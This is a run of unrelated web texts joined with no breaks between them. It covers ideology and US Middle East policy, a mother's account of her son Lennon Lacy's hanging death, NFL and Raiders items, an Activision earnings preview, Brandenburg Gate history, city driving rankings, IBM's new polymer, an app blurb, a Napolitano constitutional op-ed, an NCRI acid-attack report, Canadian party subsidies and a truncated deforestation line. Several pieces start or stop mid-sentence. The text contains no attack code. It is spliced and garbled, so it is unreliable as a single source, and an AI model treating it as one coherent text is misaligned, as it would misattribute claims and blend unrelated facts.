liberalism, the president concluded, "is the urgent requirement of our nation's security." In all these cases, states' key policymakers believed that ideological differences with other countries were the root cause of the dangers to both their international and domestic interests. A logical, almost inevitable, conclusion resulting from these beliefs was that the promotion of leaders' ideologies abroad became a central strategy of international conflict resolution and domestic stability. According to the political scientist John Owen, since 1500 states have used force on over 200 separate occasions to alter or preserve the ideological principles and institutions of another country. Recognizing that ideological enemies confront powerful incentives to export their legitimating principles says nothing, however, about the means by which leaders hope to accomplish this goal. One of the major problems with the Bush administration's efforts to promote liberalism in the Middle East is that this presidency's highly aggressive policies caused numerous people in the Muslim world - including liberals and reformers - to doubt America's commitment to liberalism. These actions included largely one-sided support of Israel in its conflict with the Palestinian people, sending suspected or confirmed terrorists to illiberal states (such as Syria) to be tortured to acquire information as part of America's controversial rendition program, and the indefinite detention and sometimes torture of accused combatants and terrorists at the Guantanamo Bay detainment camp in Cuba. Most damaging to America's reputation was the Iraq war. Using force to spread liberty seemed to many a contradiction that was difficult to resolve. America's inadvertent killing of civilians during the war - especially when accompanied by some deliberate barbarities, such as the much-publicized inhumane treatment of prisoners by U.S. forces at the Abu Ghraib prison in Iraq - was particularly damaging to America's liberal reputation. Invading and occupying a Muslim country also fueled many ordinary Muslims' nationalistic sentiments against the United States. The Bush administration's major mistakes in executing some of its core policies does not mean, however, that leaders should discount the importance of ideologies in international relations. History has repeatedly demonstrated the great significance of ideologies to leaders' threat perceptions and core international-security policies. Failure to incorporate ideological variables into states' security strategies is to ignore key dimensions of how the world works. One of the most important of my findings is that different ideological groups (i.e., different political parties or governing factions) from the same country at the same time frequently have vastly different international perceptions and policies. The more similar a group's ideological beliefs to foreigners, the less threatening their policies tend to be. Significantly, this tendency applies to Muslim-majority countries today. Liberalizers and reformers in Muslim-majority states are often much less hostile to the United States and its allies than other ideological groups in the same countries at the same time, despite often intense opposition to some of America's more provocative policies. Western leaders, as a result, have a security interest in trying to boost these groups' political power. In other words, although U.S. policymakers have made major mistakes in the past in attempting to spread liberalism in the Middle East, the logic underpinning this objective remains sound. The goal should be to correct past errors in this area without abandoning an emphasis on the importance of ideologies in international relations. *** * The argument presented in this essay is drawn from two books, The Ideological Origins of Great Power Politics, 1789-1989 (Cornell University Press, 2005) and The Clash of Ideologies: Middle Eastern Politics and American Security (Oxford University Press, 2012).The knock on the door came at about noon. I’d woken up feeling unwell that morning and had called the hospital where I work to say I wasn’t coming in. I was on the phone with my sister and just when the door knocked she was telling me that she’d heard a body had been found hanging in a local park. That was strange.
I opened the door and saw the police chief of our town, Bladenboro in North Carolina, standing there. “I need you to come with me to identify a body,” Chris Hunt said. That put me into a tail-spin. What was it he wanted? Who did I have to identify?
I got into my car and followed him to a trailer park about a quarter of a mile from my house. It’s an exposed, lonely place, with a line of eight children’s swing sets in the center of several trailer homes that have mostly white occupants.
As we pulled up, I was directed to an ambulance parked on the grass. Just as I was coming up to it, I saw a police officer wrapping up the yellow crime-scene tape that had been put around one of the swing sets, as though as to say job done. That was really odd, I remember thinking at the time – I’ve seen lots of crime scenes over the years and they always leave the tape up, to preserve the integrity of the site, for days if not weeks.
I stepped up into the ambulance and stood over a black body bag. My 17-year-old son, Lennon, was inside.
I unzipped the bag down to his waist. I was in shock, despair, but I wanted to see what had happened to him. I wanted to know why my son was here, in this desolate place, lying dead in a body bag. As I stepped back out of the vehicle, I spoke out loud and clear. “Whoever did this,” I said, “they took him down, because he didn’t do this to himself.”
That was on 29 August. Four days later, the police chief came to see me again. He sat down and said they’d reached a conclusion in the investigation. They’d found no evidence of foul play, he said, and he mentioned the “S”-word: “suicide”.
I couldn’t accept that then, and I still cannot now. For those four days, the police didn’t once come to my house, they didn’t look inside Lennon’s room – they still haven’t to this day. They didn’t ask to see his cell phone so they could track his calls, they didn’t ask me what clothes he was wearing the night before he died. Until my family, with the help of the North Carolina branch of the NAACP, presented the police with a long list of our concerns, they didn’t even inquire about the fact that Lennon was found with a pair of white sneakers on his feet that he didn’t own and were two sizes too small for him.
Facebook Twitter Pinterest “Lennon was a very shy boy. If he were going to do something like that, he wouldn’t do it in such an exposed space, hanging from a swing set in plain view of all those trailer homes.” Photograph: Andrew Craft for the Guardian
My son – a black teenager who had the world going for him, who was looking forward to playing in a big football game with his high-school team that same night – was found hanging from a swing set in the middle of a white trailer park. And within hours the police had decided it was suicide.
It doesn’t look like that to me. We don’t know what happened to my son three months ago, and suicide is still possible. But there are so many unanswered questions that I can’t help but ask:
Was he killed? Was my son lynched?
It’s hard to think that in 2014, with a black man in the White House, such a thing could have happened in the United States. I remember as a very young child, growing up in Bladenboro there was a sign in the window of the grocery store: WHITES ONLY, it said. But as I got older and went to school I was raised to think of myself as an equal, who could do anything alongside anybody.
I taught Lennon to think just the same way – not of race, but to be proud of himself and everything he did. He was a great kid. He had a passion for life, for football, he respected all his teachers and his neighbors. He was big for his age, but compassionate – a gentle giant.
I knew things were dangerous for him. After Trayvon Martin, 17 and black just like Lennon, was shot by his neighbor in Florida in 2012, that terrified me. Every time Lennon left the house I was scared. Take your cellphone with you, I would say to him. Let me know where you’re at. “Oh, mom, nothing bad is going to happen,” he would say, but it didn’t stop me from worrying.
There were things locally that also made me anxious. Lennon was in a relationship with a white woman over the road. That didn’t bother me in itself, but the fact that she was quite a bit older than him did. I didn’t like that, and I told her that.
I knew my son. His demeanor would have changed if he had been depressed. His routine would have been different, I would have noticed something was wrong.
The place Lennon died also suggests to me he didn’t end his life voluntarily there. Lennon was a very shy boy. If he were going to do something like that, he wouldn’t do it in such an exposed space, hanging from a swing set in plain view of all those trailer homes.
FBI to investigate death of North Carolina teen found hanging from swing set Read more
There are many, many other discrepancies that don’t add up for me, for my family, or for the team of investigators and experts that have been brought together by the NAACP with our blessing. That’s why we are calling on the federal US attorney to get involved. We want him to send in FBI agents to get a proper job done.
Over the past few weeks, I’ve thought a lot about Ferguson and Staten Island. Lennon wasn’t killed by a police officer – of that much we can be sure. But there is a connection. My son, Michael Brown, Eric Garner – three black men who were all treated by police as though they didn’t matter. That their lives, and the circumstances of their deaths, were immaterial.
But we don’t accept that. We won’t accept that. My son’s life, and his death, are not immaterial. That’s why we’ll be marching on Saturday through Bladenboro to tell the town, the state of North Carolina and the whole of America that we care. That we demand a full and thorough federal investigation. We demand the truth. Tell us what happened to Lennon Lacy. Tell me what happened to my son.
—as told to Ed Pilkington
This article is premoderatedThe Raiders have signed third round pick linebacker Sio Moore to a contract, the team announced today. He becomes the seventh of ten drafted players the Raiders have signed this off-season after having signed all of their sixth and seventh round picks last week.
The 6-1, 240 pound linebacker Moore was the 66th overall selection in April's draft by the Raiders. In 31 starts at Connecticut, Moore garnered first-team All-Big East Conference honors twice during his collegiate career. As a senior, Moore ranked fourth on the team with 72 tackles (45 solo) and was named to the watch list for the Butkus Award, presented annually to the nation's top linebacker.
He has been lining up as the team's starting weakside linebacker thus far in OTA's and minicamps and is expected to start there right away as a rookie.
Last season, the Raiders started rookie fourth round pick Miles Burris at weak side linebacker but Burris has been out all off-season recovering from surgery on his knee. He, ironically, became the starter last season replacing Aaron Curry who had chronic knee issues.
This leaves the Raiders with three picks yet to be signed-First round pick CB D.J. Hayden, second round pick OT Menelik Watson, and fourth round pick QB Tyler Wilson.
Follow @LeviDamienRudolf Brazda, who died six years ago, recounted his experiences surviving Buchenwald. Watch him tell his story as we honor International Holocaust Remembrance Day.
On January 27, the world honors the millions of victims of the Holocaust — the systematic murdering of Jews, disabled people, gypsies, Jehovah's Witnesses, and gays at the hands of Germany's Nazi regime during World War II.
German-born Rudolf Brazda was one of the gay men imprisoned in a Nazi concentration camp. After being arrested for homosexual behavior — illegal in Germany at the time, thanks to the infamous Paragraph 175 — he was sent to the Buchenwald camp, where he was regularly subjected to abuse. Brazda was able to survive thanks to his ability to adapt and the aid of a possibly gay SS officer who became "infatuated" with him. Brazda recounted his experiences at Buchenwald in a video made shortly before his death in 2011; watch it below.
Read more here about Brazda, who eventually settled in France with his partner and outlived nearly all his Nazi captors.
Rudolf Brazda, last of the Pink Triangles... by EugeneOcieActivision Blizzard will report its first-fiscal-quarter earnings on Wednesday, May 9, after the market close. This will come two days after its arch-rival Electronic Arts reports its earnings, and the two together will paint a better picture of the grudge match between EA’s Star Wars: The Old Republic and Activision Blizzard’s flagship online game World of Warcraft.
Activision Blizzard will, of course, want to show that its juggernaut money-maker, World of Warcraft, has kept its status as king of the hill in the massively multiplayer online (MMO) space, while also proving that the hit Call of Duty franchise has financial legs with Modern Warfare 3, Black Ops II, and the new Elite multiplayer service.
Wedbush Securities’ analyst Michael Pachter expects Activision to report results at or above its current estimates for revenue, at an estimated $570 million with an earnings per share (EPS) of $0.08. This is higher than the consensus of other analysts, who expect to see revenues of $552 million and an EPS of $0.04. Pachter also expects to see an overall decline in Activision Blizzard’s publishing revenue of approximately 30 percent, better than that of the larger market decline of approximately 40 percent as reported by market-research firm NPD Group.
Pachter notes that this shortfall should be made up for with new Call of Duty Elite subscriptions (an estimated $22 million), the first Call of Duty: Modern Warfare 3 downloadable-content pack, and $30 million in accessories for Skylanders (a game with separately purchased collectible toys), which is not accounted for by the NPD Group.
Activision Blizzard share valuations dropped a bit on Thursday, closing at $12.66 per share, while remaining valued at approximately $14.31 billion. While this shows the publisher to be much larger than rival EA (valued at $5.26 billion), there are still factors that can affect even a big company.
Pachter points to an increasing reliance on Call of Duty and World of Warcraft, noting that the Activision arm continues to commit more and more financial resources to the military first-person-shooter (FPS) franchise, while Blizzard focuses more on the upcoming Diablo III, Starcraft II expansions, and its successful MMO. In addition, says Pachter, while the futuristic Black Ops II game should help the Call of Duty franchise maintain its market share, it could well succumb to FPS fatigue as the market continues to become saturated with similar titles.
Activision could, of course, exceed even these measured positive expectations. Pachter says additional success could come from the multiple releases by Blizzard, if Call of Duty packaged goods do better than expected at retail, and if the upcoming Skylanders expansion, Giants, outperforms the original game. Finally, Pachter predicts that Activision Blizzard’s stock price will go as high as $19.00 per share, which is about 16 times the company’s expected 2012 earnings per share.
Traditionally, Activision Blizzard has maintained a strategy of culling its titles ruthlessly to focus its resources on what works. While it maintains a leadership position in online console games, it hasn’t experimented as much as EA in the realm of social, mobile, and free-to-play online games. EA hasn’t had huge successes in those areas, but at least it has spent a lot of time learning lessons. Those new markets represent the big expansion opportunities in the games business, while the core console market — where Activision Blizzard focuses most — has been shrinking. How Activision Blizzard and EA manage these industry-wide transitions will determine who comes out on top in the long run.
Blizzard’s World of Warcraft has shown weakness in recent quarters, dropping to 10.2 million paying subscribers compared to past highs of around 12 million. The Old Republic may have taken some users away. But other online game worlds such as Trion’s Rift (which is soon bound for China) and |
international agenda.July 2, 2017 Comments Off on Historic photos of Brandenburg Gate, the signature landmark of Germany Views: 1770 Berlin, Virtual Memoirs
Standing 28 meters tall and 65.5 meters wide, the Brandenburg Gate is an 18th-century neoclassical monument in Berlin, that without a doubt makes the most famous landmark of Germany.
Constructed on the orders of the Prussian King Frederick William II, the landmark was built on the site of a former city gate that marked the start of the road from Berlin to the town of Brandenburg an der Havel.
The architect who had it built, Carl Gotthard Langhans was inspired by the Acropolis in Athens, Greece. The figure you can see driving the notable Quadriga atop the gate is Victoria, the Roman goddess of victory.
Throughout history, the Brandenburg Gate has come to be a place for major events and is today regarded not only as a symbol of the turbulent German history but as a landmark that represents the European unity and peace, too.
Indeed, the popular gate has been through the brightest and darkest points of modern-day German history. It was here at the Brandenburg Gate that the Nazis had conducted their torchlit procession through the Gate, celebrating Hitler’s being sworn as chancellor on January 30th, 1933.
From 1946 until 1957, it will be the Soviet flag that was flown on the top of the Gate. However, the flag was ripped off during a peaceful demonstration in 1953, when protesters had hit the streets to express their revolt on the political and economic conditions in the German Democratic Republic – the socialist state functioned during the Cold War and composed the east part of Germany.
Despite undergoing severe damage during WWII, the Gate has withstood the test of time and it has become the most iconic sight in recent German history, especially as hundreds of thousands of people have celebrated the fall of the Berlin Wall on November 9th, 1989, just before the Brandenburg Gate.
Since this point, the historic Gate has come to represent German unity and freedom, marking the end of the Cold War and the reunification of east and west Germany. The Gate was opened as a border crossing by West German Chancellor Helmut Kohl in December 1989 as well as East German Premier Hans Modrow.
We also thought to remind you of these Then & Now Photos depicting the 1906 San Francisco earthquake and fire
Tags: Berlin, Germany, The Brandenburg GateIt may surprise those who question motorists’ ability to merge, but Perth has been ranked among the top cities in the world in which to drive.
A comprehensive study by German automotive parts retailer Kfzteile24 looked at 500 cities with the highest number of registered vehicles and used various data to create a list of 100 ranging from the best to the worst.
Dusseldorf in Germany took out the top position, while Kolkata in India was the worst at No.100.
Perth was rated No.19 overall — beating other Australian cities including Brisbane, which just made the best list at No.45. It was downhill for Melbourne, at No.55, Adelaide (57) and Sydney (61).
“To make a comparable quantification of how good or bad each city is to drive, we made a three-step evaluation of the data,” Kfzteile24 said.
A mathematical equation was used to calculate the score, with the study examining the congestion level, public transport options, costs of parking and petrol, road rage, fatalities and injuries, air pollution, road quality and the average speed between the city centre and the international airport.
A breakdown of each category showed congestion in Perth was 27 per cent; compared to 69 per cent in Kolkata (the highest) and 19 per cent in Bern, Switzerland, which had the lowest.
On a scale of one (worst) to 10 (best), Perth’s public transport scored 5.21; while Tokyo achieved a perfect score, followed by London on 9.91. Ulaanbaatarin in Mongolia scored one.
The road rage rating for Perth was 8.29. Tempers must be high in St Petersburg, with the Russian city scoring the worst with one, compared to 10 for Helsinki in Finland and Bordeaux in France.
Kfzteile24 said the aim of the study was to enrich debate about modern mobility and encourage cities to learn from positive urban engagement and legislation.
Camera Icon Michael Gizzarelli prefers to park his car and catch the train into the city each day. Picture: The West Australian/Steve Ferrier
Michael Gizzarelli has caught the train from Stirling into the city each weekday for the past three years and said it took him a while to get used to public transport, but he now enjoyed the hassle-free ride.
“Over the years I’ve found that the freeway has become increasingly very congested, particularly in the afternoon when it’s just mayhem,” he said.
Mr Gizzarelli, who works on construction at the Ritz-Carlton development at Elizabeth Quay, said it cost $12 a day to commute, which was easier and cheaper than parking in the CBD.
“The public transport options score affects the quality of driving in a city because if there are poor public transport alternatives then there is no other option than for people to drive their cars, leading to increased congestion, faster degradation of road quality and increased road rage,” Kfzteile24 said.
“The score was calculated based on the length of the rapid transit system and suburban railway network for each city, with more kilometres of metro rail per capita equating to a higher score.”As we hurtle toward the regular season, check out our division-by-division primers highlighting players and storylines to watch in 2017. Marc Sessler tackles the AFC North below.
Most significant changes from 2016
For all its tweaks this offseason, the AFC North's most pressing question remains unchanged: When will the Pittsburgh Steelers reach their full potential? Stocked with more talent on offense than any team in the conference west of Foxborough, Mike Tomlin's bunch again looms as the primary challenger to the world-champion Patriots. Ben Roethlisberger toyed, at least superficially, with the idea of retirement, but Pittsburgh's massive-bodied quarterback was never about to walk away from an attack glittering with All-Pro wideout Antonio Brown, back-from-suspension red-zone monster Martavis Bryant and the league's most versatile ground/air workhorse, running back Le'Veon Bell. One January after the next, the Steelers venture to the threshold, only to tumble short. If they can't reach the Promised Land with this year's cast, it's fair to wonder if it will ever happen again with Big Ben, who could be playing his final season in the NFL.
First, Pittsburgh must take care of business in a division featuring a flood of new faces. Coming off a lackluster campaign, the Bengals reloaded on offense by nabbing lightning-quick wideout John Ross -- who showed off his speed in last week's preseason debut -- at No. 9 overall and, one round later, arguably the draft's top running back in Joe Mixon. A formidable and powerful runner with elusive, tackle-shedding moves as a pass catcher, Mixon has the talent to carry this offense for years. The question in Cincy is whether tackles Cedric Ogbuehi and Jake Fisher can do their part to keep Andy Dalton upright.
Is it Y2K all over again? The Ravens have put together a defense brimming with young talent and a fascinating secondary that added veteran safety Tony Jefferson, ex-Cowboys cornerback Brandon Carr and first-round cover man Marlon Humphrey. With Terrell Suggs nearing the end, Baltimore still needs a young pass rusher to step up. Tyus Bowser and Matt Judon are names to watch in a front seven anchored by behemoth interior lineman Brandon Williams.
In Cleveland, the Browns have stocked their cap-friendly roster with a bevy of draft picks, new faces and yet another starting quarterback. Second-rounder DeShone Kizer earned the job after outplaying Cody Kessler and the traded-for Brock Osweiler. A work-in-progress bound to take his lumps, Kizer finally gives the team a signal caller with the strong arm and size you want to see in the AFC North. The story of this team, though, could be a defense led by veteran linebacker Jamie Collins and fascinating top overall pick Myles Garrett.
One player to watch on each team
BALTIMORE RAVENS: Justin Tucker, kicker. Joe Flacco's back would qualify for "One body part to watch from each team," but the Ravens quarterback is on schedule to start Week 1. Even so, this is a club that feels destined to win a rash of games 15-13, making Tucker arguably the most critical special teams player league-wide.
CINCINNATI BENGALS: Joe Mixon, running back. Jeremy Hill ran well in the preseason, but a healthy Mixon will steal starts right away. While his numbers weren't outrageous in the preseason, the rookie put together a reel of dominating game tape -- especially catching the ball in space. Sharing traits with ex-Bengals star Corey Dillon, Mixon looms as Offensive Rookie of the Year material on an intriguing Cincinnati offense.
CLEVELAND BROWNS: Myles Garrett, pass rusher. The list of first-round draft busts in Cleveland is dense, thorny and inglorious. Everything we've gleaned from Garrett suggests otherwise during a camp and preseason that saw him match wits with stalwart left tackle Joe Thomas in practice and flash moments of brilliance in games. He looks like a keeper for the ages.
PITTSBURGH STEELERS: Martavis Bryant, wide receiver. The last time we saw Bryant in meaningful action, he posted 154 yards off nine catches with 40 yards on the ground in a January 2016 playoff loss to the Broncos. Exiled to suspension last season, the freaky wideout is the missing ingredient inside a loaded Steelers arsenal that will give defensive coordinators night terrors from wire to wire.
What we'll be talking about at season's end
Farewell, Big Ben: Whether or not the Steelers finally knock off New England and get back to the Super Bowl, I can't shake the feeling that we're staring at the final year of this fine quarterback's run in Pittsburgh. He's hinted at it too many times, which stands in quizzical contrast to the gaggle of aging arms saying they plan to play until age 45. Just a hunch.
Follow Marc Sessler on Twitter @MarcSesslerNFL.Stop the press! IBM Research announced this morning that it has discovered a whole new class of… plastics. This might not sound quite as sexy as, say, MIT discovering a whole new state of matter — but wait until you hear what these new plastics can do. This new class of plastics — or more accurately, polymers — are stronger than bone, have the ability to self-heal, are light-weight, and are 100% recyclable. The number of potential uses, spanning industries as disparate as aerospace and semiconductors, is dizzying. A new class of polymers hasn’t been discovered in over 20 years — and, in a rather novel twist, they weren’t discovered by chemists: they were discovered by IBM’s supercomputers.
One of the key components of modern industry and consumerism is the humble thermosetting plastic. Thermosetting plastics — which are just big lumps of gooey polymer that are shaped and then cured (baked) — are light and easy to work with, but incredibly hard and heat resistant. The problem is, once a thermoset has been cured, there’s no turning back — you can’t return it to its gooey state. This means that if you (the engineer, the designer) make a mistake, you have to start again. It also means that thermoset plastics cannot be recycled. Once you’re done with that Galaxy S5, the thermoset chassis can’t be melted down and reused; it goes straight to the dump. IBM’s new polymer retains all of a thermosetting plastic’s useful properties — but it can also be recycled.
IBM’s new class of polymers began life, as they often do in chemistry circles, as an accident. Jeannette Garcia had been working on another type of polymer, when she suddenly noticed that the solution in her flask had unexpectedly hardened. “We couldn’t get it out,” Garcia told Popular Mechanics. “We had to smash the flask with a hammer, and, even then, we couldn’t smash the material itself. It’s one of these serendipitous discoveries.” She didn’t know how she’d created this new polymer, though, and so she joined forces with IBM’s computational chemistry team to work backwards from the final polymer. Using IBM’s supercomputing might, the chemists and the techies were able to work back to mechanism that caused the surprise reaction.
This new class of polymer is called polyhexahydrotriazine, or PHT. [DOI: 10.1126/science.1251484 – “Recyclable, Strong Thermosets and Organogels via Paraformaldehyde Condensation with Diamines”]. It’s formed from a reaction between paraformaldehyde and 4,4ʹ-oxydianiline (ODA), which are both already commonly used in polymer production (this is very important if they want the new polymer to be adopted by the industry). The end result shows very high strength and toughness, like other thermosets, but its heat resistance is a little lower than other thermosets (it decomposes at around 350C, rather than 425C).
Rather uniquely, though, IBM’s new polymer is both recyclable and self-healing. As you can see in the video above, chunks of the polymer readily rejoin to create a whole — and then when stretched in the future, they break randomly, not along the joins, proving a very high level of self-healing. [Read more about self-healing plastics.] Unlike traditional thermosets, which produce tons of recyclable waste every year, IBM’s PHT can be fully reverted back to its base state with sulfuric acid — which, as Garcia points out, is “essentially free.”
In short, then, IBM has created a new plastic that could impact a number of industries in a very big way. The advantages of self-healing, tough plastics are highly evident in the aerospace, transportation, and architecture/construction industries. Thermoplastics also play a big part in the electronics industry, from the low-level packaging of computer chips, through to the chassis of your smartphone. In all of these areas, recyclability and self-healing could be a huge boon. As Garcia says, “If IBM had this 15 years ago, it would have saved unbelievable amounts of money.” Not to worry, Jeannette — there’s still plenty of time for IBM to save (and make) billions of dollars with this new plastic.Money Fox was developed to help you keep track of your finances. What are your budgets? How much money are you spending? What are you spending it on? How could you invest better? How could you save more? - Create Accounts to either keep track of your current spending or to play around and test out new ways to allocate your budget - Use money transfers, manually or automatically, to simulate your real spending - See statistics of what your spending looks like - Back it all up on your OneDrive to use your data on multiple devices - Set a Password to make sure your data is safe and secure - Regular updates with new features Check it out, available for Windows and Windows Mobile now. Are you a developer? Our project is Open-Source, you can contribute https://github.com/MoneyFox/MoneyFox.Windows here - we?d love to share our project with you! For further improving this app we collect impersonal data about occuring errors and issues.“Some men think the Earth is round, others think it flat; But, if it is flat, will the King’s command make it round? And if it is round, will the King’s command flatten it? – NO.”
When Robert Bolt wrote that truism in his play A Man For All Seasons, his protagonist, Thomas More, was attempting to persuade the jury at his trial for high treason that all governments have limitations, and that the statute he was accused of violating was beyond Parliament’s lawful authority to enact. Sir Thomas was there appealing to the natural law as well as to the common sense of his jurors: The government can’t change the laws of nature. As we know, he fared no better than those who today argue that Congress is not omnipotent, has natural, moral, and constitutional limitations on its power, and every day fails to abide them.
Jefferson wedded the natural law to American law in the Declaration of Independence when he wrote that our rights are “inalienable” and come to us from “Our Creator.” Not only does federal law recognize that, but the whole American experience recognizes the natural law as the ultimate source of our freedoms and as a restraint on the government. Thus, the traditional panoply of American rights is ours by birthright and cannot be interfered with by an act of Congress or order of the president, but only after due process.
Two of those rights are speech and contract. A law enacted by Congress punishing speech (such as the Patriot Act provision that declares to be felonious speaking about the receipt of certain search warrants) is no law at all, since the law itself violates the natural right to speak freely, which is expressly protected in the Constitution. The Framers fully understood this as they wrote in the First Amendment: “Congress shall make no laws … abridging the freedom of speech.” I have italicized the word the to make my point. The framers accepted the natural law premise that freedoms come with and from our humanity. The freedom of speech obviously preexisted the constitutional amendment insulating it from government abridgement, and the Framers’ use of the article the reflects their unmistakable acceptance of that truism.
Similarly, a law changing the terms of a private contract is no law since it violates the natural right to make binding agreements. The Framers knew that as well. The Constitution specifically forbids the states and, by requiring due process and expressly forbidding taking property without just compensation, the federal government, from “impairing the Obligation of Contracts.” This, too, is a personal natural right that pre-existed the constitutional clauses that bar the government from interfering with it.
The Constitution sets forth just 17 discrete delegated powers on matters like currency, interstate commerce, the post office, the judiciary, and national defense. The Constitution also interposed two precise brakes on all federal powers: The Ninth and Tenth Amendments together state that the powers not enumerated in the Constitution as given to the federal government are retained by the people and the States.
The whole purpose of the Constitution is, was, and has been to define the government, to impose restraints on the government, and to guarantee personal freedoms. It specifically diffused power between the States and the central government and, within the federal government itself, it separated powers among the three branches.
It is elementary to state that the Constitution mandates that Congress writes the laws and decides how to spend tax dollars, the president enforces the laws as Congress has written them, and the courts interpret the laws as they have been written and enforced to assure their compliance with the Supreme Law of the Land.
As elemental as this sounds, it is hardly recognizable today. After 230 years, we have come to a point where a president declines to enforce laws he has himself signed, directs his Treasury Secretary to make laws interfering with private contracts, and signs executive orders that invade privacy, restrict speech, and appropriate property. Today, we have a Congress that delegates to the president its power to spend taxpayer dollars and money borrowed in the taxpayers’ names, has written laws regulating the air you breath, the water you drink, the words you speak, and relieving the persons with whom you have contracted or to whom you have loaned money from complying with their agreements. And our courts from time to time have raised taxes, run prisons, re-cast the boundaries of school districts, and declined to right obvious constitutional wrongs committed by the other branches.
The oath to uphold the Constitution that everyone in government takes, though solemnly delivered and publicly sworn to, like an oath to tell the truth in Court, is simply not taken seriously. Notwithstanding the plain language of specific grants and general restraints, notwithstanding a careful compromise between the Hamiltonians who wanted all power to be in the federal government and the Jeffersonians who wanted all power in the States, and notwithstanding our inalienable rights from our Creator, the federal government today simply recognizes no limits on its power.
But the Constitution is the Supreme Law of the Land. We will have chaos if those in whose hands we repose it for safekeeping intentionally violate it with impunity. A government that violates its supreme law becomes arbitrary, and arbitrary rule becomes authoritarian, and authoritarian rule will trample our freedoms. Just six weeks into its four-year term, the Obama administration and its allies in Congress, just like the Bush administration and its allies, have acted like they never heard of the Constitution. They have attempted to control salaries of private banks, change the terms of private mortgages, enter the marketplace by nationalizing banks and the world’s largest insurer, and investing taxpayer dollars in companies whose products consumers reject and investors eschew. This is theft of liberty and theft of taxpayer property.
Is freedom a reality or a myth? Are the rights guaranteed in the Constitution real or just a pretense? Isn’t the whole purpose of government in a free society to uphold rights rather than interfere with them? If the answers to these questions are no longer obvious, it is because we have a central government whose only self-acknowledged limitation is whatever it can get away with.
Andrew P. Napolitano [send him mail], who was on the bench of the Superior Court of New Jersey between 1987 and 1995, is the senior judicial analyst at the Fox News Channel. His newest book is Dred Scott’s Revenge: A Legal History of Race and Freedom in America, (Nelson, 2009) His previous books are A Nation of Sheep, The Constitution in Exile and Constitutional Chaos: What Happens When the Government Breaks Its Own Laws.
Copyright © 2009 Andrew P. NapolitanoIRAN: Acid attacks against 4 Kurdish women during Ramadan
Written by Staff Writer on 17 July 2015.
NCRI - Four Kurdish women and young girls in Bukan (West Azerbaijan Province in northwestern Iran) were victims of acid attacks by the misogynists ruling in Iran.
These crimes were carried out on Tuesday, July 14th on Kurdistan Boulevard in the city of Bukan where a woman and three young girls were taking a walk when they were targeted and severely wounded in this criminal acid attack.
One of the victims, Susane Ismaeel Nezhad, a 24-year old construction student in college, saw her back severely injured.
Prior to this she was threatened and pressured many times by the regime’s Ministry of Intelligence agents for her brother’s political activities outside of Iran.
Two other young girls attacked in another incident were sisters of the Ma’roufi family, and another young woman – the wife of a Kurdish artist – was also targeted.
Ms. Sarvnaz Chitsaz, Chair of the National Council of Resistance of Iran Women’s Committee expressed her deep abhorrence on this acid attack by the Iranian regime against 4 Kurdish women in Bukan, and called on all Iranian women and youths to protest this barbarity.
“Khamenei, the regime’s supreme leader, has despite much saber-rattling been forced to take a major step back and sign the recent nuclear agreement, to prevent his regime from being overthrown.
However, considering the regime’s internal balance of power, he is losing his hegemony and resorting to intensifying the climate of fear in society to get his revenge from the Iranian population. The brutal crime of acid attacks on the heads and faces of four innocent women and girls during the holy month of Ramadan, carried out by elements of the regime’s organized factions, is to this end,” she said.
“It has been proven once again that providing concessions to the barbarity ruling Iran has to this day reached no objective other than emboldening and giving them a green light to crack down, murder and carry out such crimes,” the Women’s Committee Chair added.
She called on all human rights and women’s rights organization to protest such atrocities and rush to the support of noble and brave Iranian women.
Women’s Committee of the National Council of Resistance of Iran
July 16, 2015
Print EmailPrime Minister Stephen Harper should reconsider his vow to end the direct per-vote subsidy for political parties, says former prime minister Jean Chrétien, the architect of the current system.
Harper tried to kill the $2 per vote subsidy in 2008, sparking a rebellion by the opposition parties that nearly cost him his minority government. During the just-concluded election campaign, Harper said a majority Conservative government would phase out the system over two to three years in consultation with the other parties.
"I think [Harper] should reflect on that. The system is working very well," Chrétien told reporters in Quebec City Monday.
Chrétien noted that in his last election, in 2000, the Liberals spent only about two-thirds of the money that Hillary Clinton did to win her U.S. Senate seat.
"So, you know, it means that money in Canadian politics is less important than elsewhere, a lot less important," Chrétien said. "The parties receive it if they are serious, they receive a subsidy from the state. But they don't become prisoners of raising the money."
The Chrétien government created the per-vote direct subsidy in 2004, when it banned corporate donations to parties and limited contributions to ridings or candidates to $1,000 per year. Individual donations were capped at $1,000 per party and $5,000 total, down from $10,000.
In 2006, the new Harper government dropped the individual limit to $1,000 (adjusted to inflation; it was $1,100 in 2010 and will be $1,200 in 2011) and imposed a complete ban on donations from corporations, unions and organizations. Donations to political parties are eligible for up to a 75 per cent rebate.
A spokeswoman for Prime Minister Stephen Harper says killing the subsidy is a platform promise the government intends to fulfill, but they haven't yet decided when to start the process.
"We'll take things one step at a time. It remains a priority and it's in our platform. We will be fulfilling that commitment," Sara MacIntyre said.
Harper and other government officials have said passing the 2011 federal budget is their first priority, followed by legislation that will set into law the anti-crime bills the Conservatives weren't able to pass as a minority government.
In response to a reporter's question, Chrétien said that an end to the direct subsidy will hurt some parties more than others.
"Those [parties] who are closer to the poor people, there's less money to raise among the... poorer people than the rich people, don't you think? And that will be perhaps, you know, handicapping some element of politics," he said.
"I did not invent the system, the system... was here in Quebec and after that, it was adopted by Manitoba and after that, I decided to do the same thing for the federal government and I was very proud of it."
"It's a system that is functioning well, you know... but if [Harper] does it for ideological reasons, he will have to explain it," Chrétien said.
Harper argued during the election campaign that political parties already enjoy tax advantages and taxpayers should not financially support political parties that they don't support with their votes.
"I've wanted to change this. But we were very clear: unless we have a majority government we will never attempt to change it because we know in a minority government you can never move this forward," Harper said in early April.
Canadian Heritage Minister James Moore, in an interview with CBC Radio's Kathleen Petty on election night, confirmed the Conservatives' plan to move ahead with ending the subsidy.
"I think taxpayers shouldn't be subsidising political parties and that's the commitment that we've made," Moore said.
The Conservative Party is by far the strongest fundraiser among Canada's parties. The party consistently raises the most money and has the largest base of contributors, where the Liberal Party has struggled in the past.
In the first quarter of 2011, for example, as the parties prepared to head into an election, the Conservatives raised $7.4 million from 50,478 donors, according to Elections Canada. That's more than double the number of donors of either the Liberals or NDP. The Liberals raised $2.65 million from 22,245 contributors, while the NDP raised $1.9 million from 17,492 people.
The Green Party raised $413,757 from 4,122 donors, while the Bloc Québécois hit $192,644 from 1,858 contributors.
Story continuesLevels fell to second-lowest level in quarter century, Brazil’s environment minister said, in wake of adoption of controversial bill revising the Forest Code
Deforestation in the Amazon rain forest dropped 18% over the past 12 months, falling to the second-lowest level in a quarter century, Brazil’s environment minister said on Wednesday.
